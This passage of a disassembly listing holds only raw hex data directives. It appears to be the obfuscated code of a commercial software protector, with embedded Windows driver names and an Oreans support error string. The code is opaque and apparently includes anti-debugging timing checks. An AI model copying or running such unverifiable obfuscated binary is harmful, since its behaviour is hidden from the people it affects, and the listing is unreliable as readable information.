		dd 661D8FB8h, 5189A858h, 16ED513Eh, 0A7755766h,	0AEEDBF0h
		dd 92606699h, 6B798CC4h, 0B7079D94h, 209CE948h,	634734F7h
		dd 0EB606698h, 1300B71Dh, 5D4B9F88h, 0A589768Bh, 2D664DA3h
		dd 4B19275Fh, 17F4F927h, 12B693D9h, 42Ch, 0E87E9B49h, 31C76298h
		dd 7F1504E1h, 0CA60D12Fh, 12A8817Ah, 8E6D90F9h,	49B5059Bh
		dd 0FF0252E8h, 0B34C9C32h, 0FA13E87Eh, 7C3C290Dh, 46CBB15Ah
		dd 0D9BDAABFh, 635491D3h, 0AE46939Eh, 0EAF62EFCh, 0EDCF1C15h
		dd 9F891F12h, 604D0474h, 5176E001h, 0E7FCB381h,	5894A4D5h
		dd 99894BAh, 5A793725h,	0F42BDFADh, 353B8889h, 7738E119h
		dd 5A799597h, 0FA47E219h, 0BE7DCE14h, 0B03392h,	48E633FEh
		dd 0FA911EECh, 0C973E6F4h, 0AA409B3Ch, 3Ah, 91FB2C55h
		dd 4BDC8DAh, 21E32351h,	0EF771F6Dh, 0EA22DC20h,	2723EAD7h
		dd 0D5A35177h, 26E7C788h, 7C825A79h, 0CEBBD06Eh, 5A7926EAh
		dd 846CA472h, 409BAFDAh, 0E4BBh, 39C66600h, 0D42320AAh
		dd 0BF254627h, 3C92F608h, 9BFDB962h, 23D8BA63h,	28D7B906h
		dd 25DABC09h, 286554BEh, 1F850947h, 0D53D5A89h,	26385492h
		dd 29EA7B1Ah, 1019E1B0h, 996672AAh, 1B81B04Eh, 67CA3585h
		dd 3759E1Ah, 0B6C5F4Ch,	0A6745178h, 8BFD2610h, 9CAABFD4h
		dd 0EA82CF62h, 7A31775Bh, 0F931FF5Ah, 60C6A80Eh, 9C89A857h
		dd 6063E6B8h, 550C7240h, 65CC3240h, 3C488018h, 7DD46ABFh
		dd 6BA3766Fh, 698D9C5Fh, 0DF01B1C1h, 0D126CAA7h, 0A4000002h
		dd 0F343D940h, 3C8C2207h, 8ADA70A9h, 0D525BB76h, 546D0326h
		dd 0F633C8EBh, 43EE1060h, 8DA45DADh, 0D958A7F7h, 68556E43h
		dd 5A7C3C84h, 0C6A1260Ch, 0D2B6A335h, 5A5491D3h, 4E8D58Ch
		dd 8C5491D4h, 8FA158BEh, 10B492C0h, 8FA3283h, 54EA47B8h
		dd 4AB1BFFFh, 0D3BDA18Eh, 77455491h, 33D911h, 0C833344Ah
		dd 0F65C587Eh, 0E31C2A3Fh, 642B164Eh, 0DF5177AAh, 0AAF9DDCAh
		dd 0B3815A79h, 529F6D7Bh, 79AAB191h, 67B2335Ah,	66C3381Ah
		dd 0D0267419h, 0D82E34CBh, 9B2B03ADh, 8EE440h, 0C68F0000h
		dd 0DC4DAE39h, 0F85ED32Ch, 64CD3341h, 5AA1832Ch, 0A4C182CFh
		dd 0A65491D7h, 0F242D859h, 5BD7240Dh, 1C09C028h, 5176C929h
		dd 0E3CD6331h, 0A49148B0h, 575F7F5Fh, 4C5A11DFh, 8DE47AAFh
		dd 7828847Bh, 61997EBBh, 5F83A655h, 0DF033BD5h,	0DD26CAA7h
		dd 98000001h, 0E737CD4Ch, 30801613h, 7ECE64B5h,	0C919AF82h
		dd 4861F732h, 0EA3FBCDFh, 37FA0454h, 81B051A1h,	0CD649BEBh
		dd 5C496237h, 5A7C3D78h, 0C6951A00h, 0E5EF435h,	55AA40F1h
		dd 0ABF839C6h, 44FB36C9h, 53F4A332h, 0D60EEBCCh, 5FC9FAE4h
		dd 0CA679AA8h, 9AADE57Dh, 76EF42ADh, 0C57C4A51h, 0ADE544B7h
		dd 0F40D1B04h, 3A1A053Dh, 0D55A78F2h, 0A44E39CFh, 85409BE6h
		dd 28h,	40FB2C30h, 91D36F53h, 0C329F754h, 0FD081F0Ch, 3A085176h
		dd 34C2CEDh, 0E1E75A79h, 0CCB6600Bh, 2397409Bh,	42000000h
		dd 91D408E7h, 55C7F054h, 0C64AB19Eh, 7C4A5176h,	217D8FE6h
		dd 354CD5FEh, 13F86340h, 8BF17AD3h, 0FB2C4253h,	92EDDA91h
		dd 1A5176F9h, 9380954Ch, 5A78FFAFh, 88316937h, 78FFE7C7h
		dd 6E7C825Ah, 0EACEBBD0h, 745A78FFh, 0C25AA78Ah, 220A4210h
		dd 409BD478h, 3459h, 7E70400h, 825491D4h, 0BA53CA70h, 7EB62B94h
		dd 863DAFD8h, 77A23299h, 0E21F2D51h, 0E7041701h, 88EEE7ECh
		dd 5D6BA33Bh, 2875BC45h, 3D942A90h, 2961D02Fh, 91FB2C18h
		dd 0E17CC8DAh, 0C8128A10h, 89907D90h, 89517C82h, 9F604BBh
		dd 5E47F028h, 0D9EB254Ch, 0ED4509B1h, 2A3BEF1Ch, 0E4F028CEh
		dd 4D5F161Bh, 0DCBE33CEh, 0D4C6FE70h, 69B67B84h, 41676FA8h
		dd 0E7F52961h, 0EC82AF50h, 81CE639Ch, 0BA778A98h, 919DD56Dh
		dd 0F60BC26Fh, 41682509h, 2BDFAD6Ah, 0E0DAD02Ah, 1AAE2FFh
		dd 653C61Fh, 0F50ADD24h, 0F157EF3Ch, 0AE0D0A4h,	36C41285h
		dd 32160318h, 0BA6A40DCh, 57A8B4ECh, 0BF444DAh,	1D35D926h
		dd 98000000h, 0A895AABFh, 5491D3C4h, 0BEF7E4Ch,	935491D4h
		dd 3D210EC5h, 0C55491D4h, 45BFF7h, 0AEFB1EC6h, 0B1FE33CCh
		dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h
		dd 0BB0811D4h, 0BB0821D9h, 4EC816Fh, 89000000h,	7F682404h
		dd 89000024h, 89502434h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 0B850243Ch, 442B7307h, 201177BEh, 58C63119h,	133CEE81h
		dd 0EC815721h, 4, 81242489h, 42404h, 565F0000h,	623DBB53h
		dd 5C3145C3h, 8F5B0424h, 77810847h, 0C3623D08h,	2434FF45h
		dd 4C4815Fh, 0FF000000h, 815E2434h, 4C4h, 1341E900h, 0A5CFFFFDh
		dd 0EA6CD4B8h, 0FFC50305h, 0BDE6B7E0h, 462AD448h, 27586D66h
		dd 7698F862h, 48E8C903h, 0BE841h, 492D0000h, 834CF2D1h
		dd 0D0919E04h, 5BCBB09Dh, 0F1E08166h, 0DBC38122h, 60000068h
		dd 12E8h, 0D6C7E900h, 220E7F65h, 246C1923h, 0B6D8E904h
		dd 0E9533774h, 0Fh, 3BF9A3B4h, 77D31C14h, 3F426651h, 590F126Ch
		dd 14E860h, 0C9070000h,	239C8324h, 0A252B9F3h, 0C8A5464Eh
		dd 0AFBC1B3Ch, 665B0AADh, 6106EFB8h, 6861h, 0FF5E0000h
		dd 0E9601E34h, 0Ch, 205067A6h, 92DF56EEh, 5049CABFh, 13E860h
		dd 0C6B50000h, 9989FAC1h, 68AC2494h, 20497A16h,	863241E1h
		dd 8E85AB8h, 0FB000000h, 0F9C3081Ch, 592A5B1Bh,	665A6161h
		dd 0C27ED981h, 6E51C281h, 81F53F66h, 0DF870BC2h, 0B9EA811Dh
		dd 0E96618C3h, 0Ch, 0DA2B70CCh,	0F8014E77h, 70F745EDh
		dd 80331489h, 880F9EE0h, 19h, 14E9h
		dd 9D2AAD00h, 7251EB30h, 0E0D3B71Dh, 45D3EC5h, 116BCE40h
		dd 1EE83E9h, 0A34BF66h,	604E4E4Eh, 26D68156h, 597D35DAh
		dd 7E8h, 0A9FAD00h, 929B0CE3h, 6158F88Bh, 9874FE81h, 850FFFFFh
		dd 0Dh,	24E9h, 5C930B00h, 0FE62BA48h, 1ECD808Ah, 0FFFF2EE9h
		dd 0DCFCC9FFh, 5037AB0Dh, 689A5350h, 0B86936C4h, 52F57A2Ah
		dd 4934EBE6h, 474D5346h, 56202052h, 2020444Bh, 56202020h
		dd 20204D4Dh, 56202020h, 334E4957h, 56202032h, 444C4458h
		dd 202052h, 2 dup(0)
		dd 0E9000000h, 8ACh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0F3C35343h, 85DCF414h, 7CB3FFE9h, 18E0F60h
		dd 0F5000000h, 61F9D480h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6039D7B8h
		dd 0BAFDE781h, 816660D0h, 61885AE7h, 6EEE85C7h,	5EAh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 10E931C3h, 4E000000h, 6398945Dh, 754F17E4h, 2493B344h
		dd 607BF53Dh, 8B66CBB1h, 860F61F9h, 0Ah, 5E9h, 892B9500h
		dd 0C68B8608h, 0EE9h, 58841300h, 90277518h, 9670A1C8h
		dd 0F98F420h, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0FA4C4C3h, 890F8A80h, 1,	10E8C1F8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FDC35242h
		dd 14A69284h, 8C0FA999h, 1Ch, 16860Fh, 11E90000h, 0F7000000h
		dd 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh, 0E0598472h, 0AE9h
		dd 0A3D62D00h, 54EDC163h, 66371131h, 6A08C8C1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 8CDEC355h, 0F4E8CD6h, 182h, 8589FC00h, 5EA6EF2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CC35646h, 0E97BF80Fh
		dd 0Bh,	0A0658103h, 2D71E0FFh, 66EF273Ah, 6A08CBC1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 15E2C351h, 7C867EA4h, 835FAE00h, 850F40FBh, 65h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8C35646h, 79526621h
		dd 78C0Fh, 8F0F0000h, 1, 0C6BD8DF9h, 0E905EA6Eh, 0Bh, 0F2F4C2B7h
		dd 0D655C5D1h, 0E978EC9Bh, 1C8h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 15h, 0E5C35141h,	0DFB83C1h, 3C850Fh
		dd 60600000h, 0D180C68Bh, 5F51615Eh, 0CEBD8D61h, 6005EA6Eh
		dd 0B0CEE881h, 6E90F3Bh, 63000000h, 17D3BC7Fh, 79E96174h
		dd 0E9000001h, 0Eh, 732B6777h, 6F67BB73h, 0D3301596h, 0FB83030Bh
		dd 89850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 7E03C356h, 830F216Bh
		dd 19h,	13870Fh, 0EE90000h, 33000000h, 49BA29C0h, 0BAA70860h
		dd 7DD66F27h, 0D6BD8DD8h, 0F05EA6Eh, 128Dh, 0DE900h, 0B6200000h
		dd 0DAF3AE8Ch, 724DEA2Fh, 0E9871161h, 0FCh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h, 0A1D7905Ch
		dd 18E0F65h, 0F9000000h, 0F2AFB83h, 4F85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0E983AE9Ch, 5, 285F4A2Bh, 8880FF8h, 0F000000h, 28Ch
		dd 8D616000h, 0EA6EDEBDh, 81666005h, 81D31CC3h,	0C4A353E6h
		dd 7DE96160h, 0F8000000h, 0F27FB83h, 3E785h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0EA511304h, 6089CAFFh, 6E8h,	4FBA7F00h, 0E988535Eh
		dd 0Fh,	7AA7485Fh, 6A882440h, 0AC73B6C1h, 5E6763C9h, 38E0Fh
		dd 8B660000h, 8DFC61F9h, 0EA6EE6BDh, 19800F05h,	0F000000h
		dd 1388h, 0EE900h, 60F00000h, 0DAFE3269h, 0ABACB5CCh, 0B12FE754h
		dd 6EF6BD89h, 13E905EAh, 5F000000h, 0D5F0D45Ch,	40BE91E4h
		dd 805B1938h, 0CE710366h, 8C669B8Ah, 14E9C8h, 99A00000h
		dd 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h,	8F0FBD67h
		dd 10h,	0BE9h, 0EB16AB00h, 0F856E10Fh, 263C05E8h, 0F600324h
		dd 1588h, 0FE800h, 2D500000h, 95145223h, 180B0A37h, 0CC87BEEEh
		dd 0A615B50h, 0F3850FC0h, 0F000001h, 18Fh, 0B58DF900h
		dd 5EA7686h, 10E9h, 757E8500h, 0FF08A8ADh, 31684D58h, 0BF74BEDDh
		dd 22858B7Ch, 6A05EA77h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0CD45C352h,	3FC185C4h
		dd 13E860h, 0A7380000h,	89A91EAAh, 41976F6Eh, 0F36C4E08h
		dd 65676130h, 0D6BF0F36h, 0F08B665Eh, 52509261h, 9E9h
		dd 12084500h, 9E9F21B3h, 310F3D5Ah, 11E860h, 8CA00000h
		dd 468E9DF0h, 6E5E50E5h, 0FC558B76h, 59216F28h,	0DE9h
		dd 0C9846200h, 8D294D2Bh, 0A6698C47h, 5A613B71h, 52505058h
		dd 68C0Fh, 8D0F0000h, 0
		dd 0E860310Fh, 0Fh, 25E81835h, 10EE7208h, 0A2048746h, 5982BC40h
		dd 5A61D68Bh, 6A9258h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 352F2BC3h, 0F9DE03Bh, 118Eh, 0E8F96000h
		dd 8, 6381D9B5h, 2CFB531Fh, 0B060615Fh,	10F61B7h, 0E9FE244Ch
		dd 9, 0EEDF42C6h, 67F6049Bh, 1850FE0h, 0F5000000h, 0BCB9605Ah
		dd 0F20A149h, 8361D2BFh, 8C0F24C2h, 9, 849BE60h, 58535827h
		dd 72896661h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 7C84A7B2h, 0F1ACB1Eh, 184h, 0AE9FC00h
		dd 0E3000000h, 2B636DC1h, 0B4530A6Fh, 10CEC1EAh, 728966F5h
		dd 50006A02h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0EF39895Ah, 4CDF8D9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0F7C35646h,	820F3679h, 8, 2830Fh
		dd 61600000h, 0E9E9h, 0CE900h, 27B00000h, 34F1A7E5h, 0FFCB5971h
		dd 858BF525h, 5EA7722h,	665E5160h, 0DCEED181h, 86B58D61h
		dd 6A05EA76h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0EE26C350h, 71858DBCh,	6A05EA46h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0AC46C350h, 0A643BE92h, 14E9C37Bh, 43000000h
		dd 487C0E71h, 6A71C75Ah, 19363440h, 9200F079h, 60A8DBAAh
		dd 1483B960h, 0C68060C3h, 880F61E4h, 2,	0FF615851h, 52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0EEE2F58Ah, 0DE367380h, 5E8604Ah, 38000000h,	303A3C59h
		dd 5E9h, 68393800h, 0F5E8A7Dh, 58Fh, 6136BE00h,	60613865h
		dd 0B1DA8B66h, 85896133h, 5EA6EEEh, 0CE960h, 0A1AB0000h
		dd 0B815EEF1h, 4236FF46h, 11E8BB6Fh, 36000000h,	9DCC2281h
		dd 55B80A32h, 972C7A4Bh, 0E02A5EB4h, 61585E50h,	53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0F8A99109h, 6EEE858Bh, 0C3FC05EAh, 18A0Fh, 60FC0000h
		dd 2E8B0Fh, 0E8600000h,	0Dh, 23619444h,	34A4DBA6h, 6DD6DF7Ah
		dd 14E95FF2h, 0A7000000h, 0D514127Bh, 10F82E50h, 0D2CE4960h
		dd 5536C81Fh, 6171C479h, 0CE9h,	0A4F41C00h, 0B42FC4FFh
		dd 0DE195556h, 22BD838Bh, 5EA77h, 31850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 6B7E03C3h, 0DFA56721h, 0F92FC6EBh, 772285C7h, 13F05EAh
		dd 0E9FC0001h, 11h, 0CE9h, 0BE28000h, 0B3E57BB0h, 603A8CE2h
		dd 20CDD3h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 5EA6EF6h
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 5EA6EF2h, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 5EA6EEEh, 8B04EBh
		dd 8B61C5EBh, 0EA6EEE85h, 6ACF05h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 6AF98AC3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 9E33C350h, 1DAE6E06h, 597BC45Bh, 0DE8C08Bh, 39000000h
		dd 0B4908378h, 0FC5EAE91h, 0A59C2DEBh, 0F27EE8BBh, 0C9B75A41h
		dd 5E07C281h, 0CA8A0000h, 175ABFh, 0AE900h, 0F2D80000h
		dd 30983BCDh, 36DC2F1Ch, 6056328Bh, 8A0F5952h, 0
		dd 0EE815861h, 689DFBEBh, 81C88B66h, 9C362CF6h,	0D081661Ah
		dd 0C681D45Eh, 74F28BB6h, 56C78B66h, 2880Fh, 81B50000h
		dd 0CF80028Fh, 65EA8199h, 814321CEh, 0CBD941C8h, 61C2816Dh
		dd 0E84321CEh, 14h, 3191E110h, 0CB5B5AA4h, 0E9DEC721h
		dd 49300B62h, 0FB2F517Eh, 36D7B866h, 850F4F59h,	0FFFFFF90h
		dd 83E989B1h, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h
		dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h
		dd 57h,	3785B8Bh, 8B1C245Ch, 74032473h,	8B561C24h, 738B207Bh
		dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh,	178B1C24h
		dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h
		dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h
		dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 13E8h
		dd 1324D900h, 0DDC97E71h, 46E8E306h, 0B779262Fh, 15E72A8Fh
		dd 13E9h, 94139900h, 0ED61F6A6h, 60D337F4h, 76EB6F32h
		dd 0E48A81CEh, 54BA665Fh, 0F5C7817Ah, 66000064h, 49ECE981h
		dd 1913BBh, 96F68000h, 0B70F37FFh, 0AFB95ECEh, 81389B0Ch
		dd 6F2400C6h, 0CABF0F5Bh, 1C25EE81h, 8C0F10F3h,	0Fh, 6E8h
		dd 69A36400h, 0FB8AE23h, 8159C2BFh, 3558D0F6h, 7E84Ah
		dd 87270000h, 5DF8D12Fh, 3860FAEh, 66000000h, 8958C68Bh
		dd 5850F37h, 0B9000000h, 29A498C7h, 0B904EF83h,	5B8989CAh
		dd 99850F4Bh, 66FFFFFFh, 0E9CE8Bh, 4, 33000000h, 69206E41h
		dd 7265746Eh, 206C616Eh, 65637865h, 6F697470h, 636F206Eh
		dd 65727563h, 41282064h, 65726464h, 203A7373h, 78257830h
		dd 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh, 73207463h
		dd 6F707075h, 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh
		dd 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 109Eh, 19A99589h, 858B05E7h, 5E72A6Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EFC35646h, 0F0D3472Ah
		dd 28519501h, 8E905E7h,	0AE000000h, 7AAE3508h, 391188B1h
		dd 0F042444h, 0A885h, 0BE900h, 0EFB90000h, 4B62A959h, 0E49C7699h
		dd 0FDBD83FEh, 5E701h, 8B840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5EA584C3h
		dd 6880F60h, 1000000h, 0E71CF1BDh, 15BD8B05h, 6105E729h
		dd 6860Fh, 8D310000h, 5E715EDh,	392A858Dh, 6A05E7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 896FC0C3h, 6FB615E4h, 0FFF926AFh, 56006AE0h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 2A770629h
		dd 85858BBFh, 6A05E717h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 426BC352h, 0C4D71D52h
		dd 1C51BD31h, 443905E7h, 850F0424h, 32h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 60C35646h, 0B25FD459h
		dd 85C7EFF2h, 5EA7D92h,	1, 2039BD29h, 316005E7h, 0E725519Dh
		dd 26E905h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8948C3h, 5E70CB5h, 0
		dd 1B8h, 23858700h, 0B05EA7Fh, 0FFF675C0h, 0E732A5B5h
		dd 8A858F05h, 6A05EA7Dh, 0FFFF6A20h, 0E7196D95h, 7DBD8305h
		dd 5E71Ah, 6A0874h, 21C195FFh, 0BD8305E7h, 5E7183Dh, 680D7401h
		dd 80h,	95FFFF6Ah, 5E7196Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 77C35343h, 0C67EE41Ch, 51686D84h
		dd 68D0Fh, 8D890000h, 5E72155h,	0F28BF560h, 0B861h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0F4BA02C3h, 267E44EAh, 958964DAh, 5E70A2Dh, 2824548Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CBC35343h
		dd 89FCFE6Ch, 0E7221985h, 0E8816005h, 0D7DE6ADh, 0A01858Bh
		dd 0BE6105E7h, 3Ch, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0FEC35141h, 0AE9387Eh, 0C1000000h, 977B4A7Fh
		dd 9874E1FDh, 65958943h, 305E719h, 60242474h, 1A619D03h
		dd 0EE8005E7h, 0AD666148h, 0E58501FCh, 305E71Bh, 29242444h
		dd 0E72A5D85h, 0E59D0105h, 9005E705h, 9E9h, 155A8600h
		dd 99CCFECCh, 0F500471h, 0C8Eh,	6820F00h, 0F000000h, 8Fh
		dd 6A9000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 85671C3h,	78408B4Dh, 31BD0960h, 0F05E71Dh
		dd 68Eh, 0D1858B00h, 6105E70Ch,	7D92BD83h, 0F0005EAh, 0E685h
		dd 89BD8900h, 9005E720h, 0BE9h,	147C800h, 0B64227B7h, 4C9B76FEh
		dd 90616050h, 24759D01h, 448B05E7h, 6A2C24h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 4F0DD8C3h
		dd 0C77996EBh, 35858960h, 8A05E718h, 0B50961C6h, 5E73191h
		dd 8F98589h, 505005E7h,	0F820F52h, 0E9000000h, 0Ah, 655B5C74h
		dd 0BBDA97A2h, 310FE62Ch, 666FB360h, 614A66BAh,	489585Ah
		dd 8E0FF824h, 0Ch, 68D0Fh, 9D890000h, 5E71905h,	4712858Dh
		dd 0BD2905EAh, 5E70CD5h, 15E1BD29h, 0D0FF05E7h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 1F342789h
		dd 8390887Ah, 9E960A8h,	0F2000000h, 41A19B51h, 0EF95CF2h
		dd 132D9D89h, 36105E7h,	6A282444h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 32C4C355h
		dd 9D40C94Bh, 0E998BA1Eh, 13h, 154EE36Ch, 0D839C818h, 21D6AB66h
		dd 0AFDA7364h, 0F54F3FDBh, 1CDD8589h, 408B05E7h, 50006A18h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 12A2EEB4h, 430E8ED5h, 56006A40h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 8E8589F4h, 8905EA7Dh
		dd 0E72BF195h, 8BF85805h, 95897870h, 5E703E5h, 1CC683F9h
		dd 0EE9h, 7780D200h, 0F2F34674h, 0D5B1D146h, 966B1FABh
		dd 1C8C0Fh, 53600000h, 13E95Ah,	0E1570000h, 3BA54B4Eh
		dd 359352F0h, 53C812C7h, 5053E6F2h, 7C81615Ch, 2424h, 870F1000h
		dd 12Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	36C35545h, 647C4AB6h, 312F93ECh, 0E72CA58Dh, 0B1B53105h
		dd 9005E732h, 128A0Fh, 0DE90000h, 0FF000000h, 3F127CD8h
		dd 2F5A203Ch, 0A40C7E6Ah, 0B8666050h, 0F38BD5E4h, 6A9061h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0BDF85C3h, 2824448Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 1C35343h, 0F3C99C71h,	0E9018C7Fh, 0Ch
		dd 945B8DF5h, 0E8E277CEh, 379CACFh, 0B890F50h, 60000000h
		dd 310F5250h, 8B66585Ah, 48961C8h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0A594280Bh
		dd 0E9B9FB2Eh, 5, 2F61E8F4h, 12858D0Bh,	3105EA47h, 0E728D5BDh
		dd 6AD0FF05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 1A10C351h, 0E91811D8h,	0Fh, 0D3FD29DDh
		dd 9EC092E6h, 9A4FB6B5h, 9668B72Ch, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0ADC35242h,	36AD23D6h, 439A5420h
		dd 6840FE2h, 89000000h,	0E71D7D9Dh, 24740305h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B5890D44h, 5E703C5h, 0C45BD8Dh, 890F05E7h, 0Eh, 860F60h
		dd 9000000h, 0E71791BDh, 60AD6105h, 15418D89h, 816105E7h
		dd 24247Ch, 0F100000h, 10B87h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B9CDF8E1h
		dd 8A0FF324h, 6, 2BF59D89h, 9D8905E7h, 5E70629h, 50525050h
		dd 5E952h, 0E6B00000h, 0F103D61h, 8E0F31h, 5A000000h, 50310F58h
		dd 850F52h, 0F000000h, 5A616031h, 89585A58h, 6A2404h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0D442CDC3h, 0D37AC04Eh, 0E94949B5h, 0Eh, 9617D535h
		dd 6FCD7E8Dh, 0FB01A3BCh, 448B2AAAh, 85292824h,	5E73199h
		dd 5E990h, 92BC0000h, 501A59AEh, 14E9h,	0C3E5CB00h, 353B0884h
		dd 9E835E7Fh, 476ADED6h, 8EB0D893h, 0B5899083h,	5E72F1Dh
		dd 4712858Dh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 48F295C3h, 29F01160h, 0E71435B5h
		dd 618D2905h, 0FF05E704h, 0F3B660D0h, 61CB8B66h, 24244403h
		dd 0F9BD0360h, 8B05E713h, 0E70B19BDh, 89AB6105h, 0E7004D85h
		dd 0FA8105h, 0F000100h,	6E882h,	14E9F500h, 36000000h, 3E1B5682h
		dd 0E5252F5Bh, 0BD5A1EBDh, 0D96520ADh, 8D65D991h, 0E72905BDh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 656FCC54h, 0ADEE074Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0C5C35141h,	50844BDFh, 89B91BE7h
		dd 0E72CA5BDh, 247C8105h, 24h, 0A0870F10h, 29000000h, 0E7200D85h
		dd 8B605005h, 810F52CEh, 0
		dd 4896159h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0EAEB1396h, 448B5A11h, 95892824h
		dd 5E72309h, 11E950h, 0EBEC0000h, 2170223Dh, 0E95150BEh
		dd 1C26E8C3h, 890BC045h, 8DF92404h, 0EA471285h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 865F4867h, 60B90683h, 8C19589h, 0B58905E7h, 5E70625h
		dd 0ED953161h, 0FF05E719h, 0DD8501D0h, 305E705h, 6A242444h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9B1C355h, 8, 0C7956493h, 4DEBDC32h, 246DB531h
		dd 0F5005E7h, 1D86h, 178D0F00h,	0E9000000h, 12h, 0F4F37004h
		dd 2B62C9EDh, 23E0C1ACh, 944DAC57h, 48915C8h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
